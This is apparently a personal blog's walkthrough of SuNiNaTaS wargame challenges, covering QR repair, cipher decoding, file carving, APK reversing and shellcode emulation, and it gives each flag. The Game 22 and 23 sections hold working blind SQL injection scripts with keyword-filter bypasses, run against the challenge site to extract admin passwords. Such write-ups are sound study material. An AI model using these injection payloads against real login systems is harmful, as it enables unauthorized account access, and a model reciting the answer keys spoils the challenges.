Hello Navi

Tech, Security & Personal Notes

challenges

Game 17

We have a QR code image that needs to be processed and decoded. Start by enhancing the image with ImageMagick:

1
2
❯ convert qr.png -threshold 85% out.png
❯ convert out.png -background black -alpha remove -alpha off oo.png

The processed image may be incomplete or corrupted. Use an image editor like Krita to overlay the three pattern images (position markers) on top of the QR code to restore it.

Once repaired, decode the QR code with zbarimg:

1
❯ zbarimg oo.png

This yields the flag:

1
Good Job! Congraturation! AuthKey is YouAreQRCodeMaster~!
YouAreQRCodeMaster~!

challenges

Game 19

We have a large block of binary data. Decode it to get an encrypted message:

1
2
3
4
5
6
7
8
9
10
11
12
0100111001010110010000110101010001000110010001000101
0110001000000100101101000110001000000100101001001100
0100010101011010010001010101001001001011010100100100
1010001000000101001001000101010101010010000001001011
0100011001010101010100100101000000100000010110100100
1010001000000101001000100000010110000100011001000110
0101010100100000010101010101001001010000001000000101
0010010001010101010100100000010100100100110001001011
0101100101000010010101100101000000100000010110100100
1010001000000100011101000011010100100101101001010101
0101010001001011010101110101101001001010010011010101
0110010010010101000001011001010100100100100101010101

Decode as binary to get:

1
NVCTFDV KF JLEZERKRJ REU KFURP ZJ R XFFU URP REU RLKYBVP ZJ GCRZUTKWZJMVIPYRIU

This text is encrypted with an affine cipher. Use an affine decoder to decrypt:

1
WELCOME TO SUNINATAS AND TODAY IS A GOOD DAY AND AUTHKEY IS **********************
PLAIDCTFISVERYHARD

challenges

Game 18

We have an array of numbers that represent hex values. Convert them to hex:

1
2
data = [86, 71, 57, 107, 89, 88, 107, 103, 97, 88, 77, 103, 89, 83, 66, 110, 98, 50, 57, 107, 73, 71, 82, 104, 101, 83, 52, 103, 86, 71, 104, 108, 73, 69, 70, 49, 100, 71, 104, 76, 90, 88, 107, 103, 97, 88, 77, 103, 86, 109, 86, 121, 101, 86, 90, 108, 99, 110, 108, 85, 98, 50, 53, 110, 86, 71, 57, 117, 90, 48, 100, 49, 99, 109, 107, 104]
print(''.join(f'{x:02x}' for x in data))

Convert the hex output to binary, then decode as base64:

1
2
3
4
❯ python tmp.py > hex.txt
❯ xxd -r -p hex.txt data.bin
cat data.bin
VG9kYXkgaXMgYSBnb29kIGRheS4gVGhlIEF1dGhLZXkgaXMgVmVyeVZlcnlUb25nVG9uZ0d1cmkh

The string is base64-encoded. Decode it:

1
Today is a good day. The AuthKey is *********************
VeryVeryTongTongGuri!

challenges

Game 21

We have a JPEG image to analyze. Check its properties:

1
2
❯ file monitor.jpg
monitor.jpg: JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=11, description=SAMSUNG, ...], baseline, precision 8, 640x480, components 3

Check for embedded data with binwalk:

1
2
❯ binwalk monitor.jpg
Analyzed 1 file for 85 file signatures (187 magic patterns) in 9.0 milliseconds

Attempting to use stegseek reveals a structural issue:

1
2
3
❯ stegseek monitor.jpg
StegSeek 0.6
Invalid JPEG file structure: two SOI markers

The file contains multiple JPEG images (indicated by multiple Start of Image markers). Extract them using foremost:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ foremost monitor.jpg
❯ tree output/
output/
├── audit.txt
└── jpg
├── 00000000.jpg
├── 00000383.jpg
├── 00000765.jpg
├── 00001148.jpg
├── 00001532.jpg
├── 00001914.jpg
├── 00002297.jpg
└── 00002681.jpg

Examine the extracted images to find the flag.

H4CC3R_IN_TH3_MIDD33_4TT4CK

challenges

Game 22

This is a blind SQL injection challenge with heavy filtering. Keywords blocked include: select, union, or, whitespace, by, having, from, char, ascii, left, right, delay, 0x.

The goal is to find the admin's password. Start with credentials guest/guest to obtain a valid session.

Use a Python script to extract the password character-by-character via blind SQL injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string

url = "http://suninatas.com/challenge/web22/web22.asp"
cookies = {
"ASP.NET_SessionId": "...",
"auth_key": "...",
# ... other session cookies
}

charset = string.ascii_letters + string.digits + "!@#$%^&*()_+"
password = ""

for i in range(1, 31):
found_char = False
for char in charset:
# Test: substring(pw, index, length) = char
payload = f"'and(substring(pw,{i},1)='{char}')--"
params = {'id': 'admin' + payload, 'pw': 'a'}

try:
r = requests.get(f"{url}?id={params['id']}&pw={params['pw']}", cookies=cookies)
if "OK" in r.text:
password += char
print(f"[+] Found char at index {i}: {char}")
found_char = True
break
except Exception as e:
print(f"[!] Error: {e}")

if not found_char:
break

print(f"[SUCCESS] Final Password: {password}")

Running the script reveals the admin password:

1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Found char at index 1: N
[+] Found char at index 2: 1
[+] Found char at index 3: c
[+] Found char at index 4: 3
[+] Found char at index 5: B
[+] Found char at index 6: i
[+] Found char at index 7: l
[+] Found char at index 8: n
[+] Found char at index 9: l
[+] Found char at index 10: )
[+] Found char at index 11: +
[+] Found char at index 12: +
...
N1c3Bilnl)

challenges

Game 23

This is a hard blind SQL injection challenge with extensive filtering. Blocked keywords include: admin, select, union, by, having, substring, from, char, delay, 0x, hex, asc, desc.

Start with credentials guest/guest. The hint is to bypass the admin string filter using string concatenation: ad'+'min'.

Since substring() is filtered, use the left() function instead to extract characters from the left side of the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import string
import sys

TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"
COOKIES = {"ASPSESSIONIDAASRCCSR": "..."}

CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"
MAX_LENGTH = 31
SUCCESS_INDICATOR = "OK <font size=4 color=blue>admin"

def check_str(count, test_string):
params = {
'id': f"'or left(pw,{count})='{test_string}'--",
'pw': 'ar',
}
try:
response = requests.get(TARGET_URL, params=params, cookies=COOKIES, timeout=5)
return SUCCESS_INDICATOR in response.text
except requests.RequestException:
return False

def main():
print(f"[*] Starting Blind SQL Injection on {TARGET_URL}")
extracted_string = ""

for i in range(1, MAX_LENGTH + 1):
found = False
for char in CHARSET:
if check_str(i, extracted_string + char):
extracted_string += char
print(f"[+] Char {i}: {char}")
found = True
break

if not found:
break

print(f"\n[SUCCESS] Password: {extracted_string}")

if __name__ == "__main__":
main()

Running the script extracts the password character by character:

1
2
3
4
5
6
7
8
9
10
11
[+] Char 1: v
[+] Char 2: 3
[+] Char 3: r
[+] Char 4: y
[+] Char 5: h
[+] Char 6: a
[+] Char 7: r
[+] Char 8: d
[+] Char 9: s
[+] Char 10: q
...
v3ryhardsqli

challenges

Game 24

We have an Android APK file to reverse engineer:

1
2
❯ file suninatas24
suninatas24: Android package (APK), with AndroidManifest.xml, with APK Signing Block

Decompile the APK using jadx (rename the file with .apk extension first):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
((Button) findViewById(R.id.btn_send)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
EditText editText = (EditText) MainActivity.this.findViewById(R.id.input_pw);
EditText editText2 = (EditText) MainActivity.this.findViewById(R.id.input_key);
Editable text = ((EditText) MainActivity.this.findViewById(R.id.input_id)).getText();
Editable text2 = editText.getText();
Editable text3 = editText2.getText();
if (text3.toString().equals("https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg")) {
MainActivity.this.startActivity(new Intent("android.intent.action.VIEW",
Uri.parse("http://www.suninatas.com/challenge/web24/chk_key.asp?id=" +
text.toString() + "&pw=" + text2.toString() + "&key=" + text3.toString())));
return;
}
new AlertDialog.Builder(MainActivity.this).setMessage("Wrong!").show();
}
});
}
}

The code reveals a hardcoded validation: the key field must equal https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg.

Construct the URL with a test account and the hardcoded key:

1
http://www.suninatas.com/challenge/web24/chk_key.asp?id=testuser&pw=testpass&key=https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg

This triggers the backend verification which returns the auth key.

Auth_key = StARtANdr0idW0r1d

challenges

Game 25

We have another Android APK to reverse engineer. Extract and decompile it:

1
2
3
4
5
6
❯ file Suninatas25
Suninatas25: Zip archive data, ...

❯ unar Suninatas25
mv Suninatas25 Suninatas25.apk
# Open with jadx

The decompiled code reveals the app's logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class Suninatas25 extends Activity {
public void onCreate(Bundle savedInstanceState) {
// Reads contact with name "SuNiNaTaS"
String conId = Suninatas25.this.getContacts("id");
String conNum = Suninatas25.this.getTel(conId);

// Constructs URL with contact name and number
Uri uri = Uri.parse("http://www.suninatas.com/challenge/web25/chk_key.asp?id=" +
id.toString() + "&pw=" + pw.toString() + "&Name=" + conName.toString() +
"&Number=" + conNum.toString());
Intent it = new Intent("android.intent.action.VIEW", uri);
Suninatas25.this.startActivity(it);
}

public String getTel(String Idno) {
// Retrieves phone number for contact ID
StringBuffer tnum = new StringBuffer();
Cursor phones = getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
"contact_id=" + Idno, null, null);
while (phones.moveToNext()) {
String phoneNumber = phones.getString(phones.getColumnIndex("data1"));
tnum.append(phoneNumber);
}
return tnum.toString();
}

public String getContacts(String Sel) {
// Searches for contact named "SuNiNaTaS"
StringBuffer sb = new StringBuffer();
Cursor contacts = getContentResolver().query(
ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
while (contacts.moveToNext()) {
String displayName = contacts.getString(contacts.getColumnIndex("display_name"));
String contactId = contacts.getString(contacts.getColumnIndex("_id"));
if (displayName.equals("SuNiNaTaS")) {
if (Sel.equals("id")) {
sb.append(contactId);
}
}
}
return sb.toString();
}
}

The vulnerability: the app reads the device's contacts and looks for a contact named exactly SuNiNaTaS. To exploit it:

  1. Create a test account
  2. Add a contact to the phone with display name SuNiNaTaS and any phone number
  3. Run the app to extract the contact's phone number
  4. Submit the request with the contact info:

Or directly enter the URL:

1
http://www.suninatas.com/challenge/web25/chk_key.asp?id=testuser&pw=testpass&Name=SuNiNaTaS&Number=1234567890

The server verifies the contact information and returns the auth key.

FanTast1c aNdr0id w0r1d!

challenges

Game 26

This challenge requires breaking a random substitution cipher using frequency analysis. The ciphertext is:

1
szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsyincgozdainvscbnibyjzgcqnxcfcbcgzvaeagzyiyivngzyidicgxhiztnungbzvampcqhzygvpzhcgxbpnyfkqhzmdcqnvvpnzvbpnozivbonqcfnvscbnibyjzgbpnyfkqhzmdcqnvbpnjyifxmpcqhzygvpzhvbpnoyaimygbzgngbvmpcqhzygvpzhvcgxbpndicgxhiztozgcfvpnzvygnyobpnqyvbpzdpfkinmydgzlnxcbpfnbnvcgxqnxzcozdainvzgvyabpsyinccvyochizfbpzvkncivpnzvicgsnxvnmygxzgbpnjyifxrkbpnzgbnigcbzygcfvscbzgdagzygvpnzvbpnmaiingbinmyixpyfxnioyifcxznvzgbpnvpyibhiydicqbpnoinnvscbzgdcgxbpnmyqrzgnxbybcfagxnibpnzvaeaxdzgdvkvbnqvpnzvcfvybpnozivbonqcfnvscbnibyvaihcvvbpnbjypaxincxhyzgbqcisagxnibpnzvaeaxdzgdvkvbnqvpnpcvgnunirnnghfcmnxyoobpnhyxzaqzgpningbzinmcinni

Frequency Analysis Approach:

Analyze the character frequency in the ciphertext:

1
2
3
4
5
6
7
8
9
10
$ echo "$CIPHER" | fold -w1 | sort | uniq -c | sort -nr
92 n
78 z
69 g
65 c
65 b
62 v
60 i
59 y
58 p

In English text, the most common letters are E, T, A, O, I, N. Since n is the most frequent cipher character (92 occurrences), it likely maps to e in the plaintext. Similarly, z (78 occurrences) might map to t.

Use an online frequency analysis solver or substitution cipher tool to find the plaintext. Tools like quipqiup.com or frequency_analysis.html can automatically break the cipher based on English word frequencies.

The plaintext decrypts to a biography of Kim Yuna, a renowned South Korean figure skater, and the flag is her name.

kimyuna

challenges

Game 27

We have an intercepted message containing hidden x86 shellcode. The challenge is to extract the secret by emulating the code.

The message file contains x86 machine code that, when executed, pushes characters onto the stack one by one to form the flag. Use the Unicorn Engine to emulate x86 code and monitor stack writes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
"""
x86 Emulation using Unicorn Engine to extract flag characters
pushed onto the stack during code execution.
"""

import sys
from unicorn import *
from unicorn.x86_const import *

CODE_FILE = 'message.txt'
BASE_ADDRESS = 0x1000000
STACK_ADDRESS = 0x2000000
MEM_SIZE = 2 * 1024 * 1024

flag_chars = []

def hook_mem_write(uc, access, address, size, value, user_data):
"""Capture stack writes (PUSH instructions) and extract characters."""
if access == UC_MEM_WRITE:
try:
char = chr(value)
if char.isprintable():
flag_chars.append(char)
print(f"[+] Pushed: '{char}' (0x{value:02x})")
except Exception:
pass

def main():
# Load shellcode
try:
with open(CODE_FILE, 'rb') as f:
code = f.read()
except FileNotFoundError:
print(f"Error: {CODE_FILE} not found.")
sys.exit(1)

print(f"Emulating x86 code ({len(code)} bytes)...")

try:
# Initialize x86 32-bit emulator
mu = Uc(UC_ARCH_X86, UC_MODE_32)

# Map memory regions
mu.mem_map(BASE_ADDRESS, MEM_SIZE)
mu.mem_map(STACK_ADDRESS, MEM_SIZE)

# Load code
mu.mem_write(BASE_ADDRESS, code)

# Initialize registers
mu.reg_write(UC_X86_REG_EAX, 0x0)
mu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + (MEM_SIZE // 2))

# Hook memory writes to capture pushed characters
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write)

# Execute
mu.emu_start(BASE_ADDRESS, BASE_ADDRESS + len(code))

except UcError as e:
# Emulation ends with an error when code runs off or lacks exit syscall
print(f"Emulation stopped: {e}")

# Output results
if flag_chars:
print(f"\n{'='*20}")
print(f"Extracted Flag: {''.join(flag_chars)}")
print(f"{'='*20}")

if __name__ == '__main__':
main()

Running the emulator extracts characters pushed during execution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[+] Pushed: 'k' (0x6b)
[+] Pushed: 'e' (0x65)
[+] Pushed: 'y' (0x79)
[+] Pushed: '_' (0x5f)
[+] Pushed: 'i' (0x69)
[+] Pushed: 's' (0x73)
[+] Pushed: '_' (0x5f)
[+] Pushed: 'a' (0x61)
[+] Pushed: 'c' (0x63)
[+] Pushed: 'c' (0x63)
[+] Pushed: 'b' (0x62)
[+] Pushed: 'g' (0x67)
[+] Pushed: 'g' (0x67)
[+] Pushed: 'j' (0x6a)

====================
Extracted Flag: key_is_accbggj
====================
accbggj
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE